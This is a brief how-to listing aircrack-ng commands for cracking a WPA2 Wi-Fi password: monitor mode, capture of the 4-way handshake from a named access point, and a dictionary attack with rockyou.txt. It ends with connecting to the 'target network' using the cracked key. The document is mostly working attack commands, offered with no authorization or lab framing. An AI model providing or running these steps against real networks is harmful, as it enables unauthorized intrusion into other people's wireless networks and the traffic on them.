WPA2 Cracking Steps

1. Put the Wireless Interface into Monitor Mode
   - Command: `airmon-ng start wlan0`
   - Description: This command puts your wireless card into monitor mode, allowing it to listen to packets in the air and capture a WPA2 4-way handshake.
   -
2. Start airodump-ng to Capture the Handshake
   - Command: `airodump-ng wlan0mon`
   - Description: This command starts the wireless card in monitor mode using airodump-ng, enabling it to capture the WPA2 4-way handshake.

3. Collect the Authentication Handshake
   - Command: `airodump-ng -c 3 --bssid E8:9F:80:03:C5:E2 -w shake wlan0mon`
   - Description: This command is used to capture the 4-way authentication handshake for the target Access Point (AP) using airodump-ng.

4. Crack the WPA2 Password using aircrack-ng
   - Command: `aircrack-ng -w rockyou.txt -b E8:9F:80:03:C5:E2 shake*.cap`
   - Description: This command uses the aircrack-ng tool to crack the pre-shared key (PSK) by testing each

password in the dictionary file against the captured handshake.

5. If No Handshake, Retry
   - Description: If no handshake is detected, you should repeat the handshake capture step (Step 3).

6. Use the Cracked Key to Access the Network
   - Description: After successfully cracking the key, use it to connect to the target network.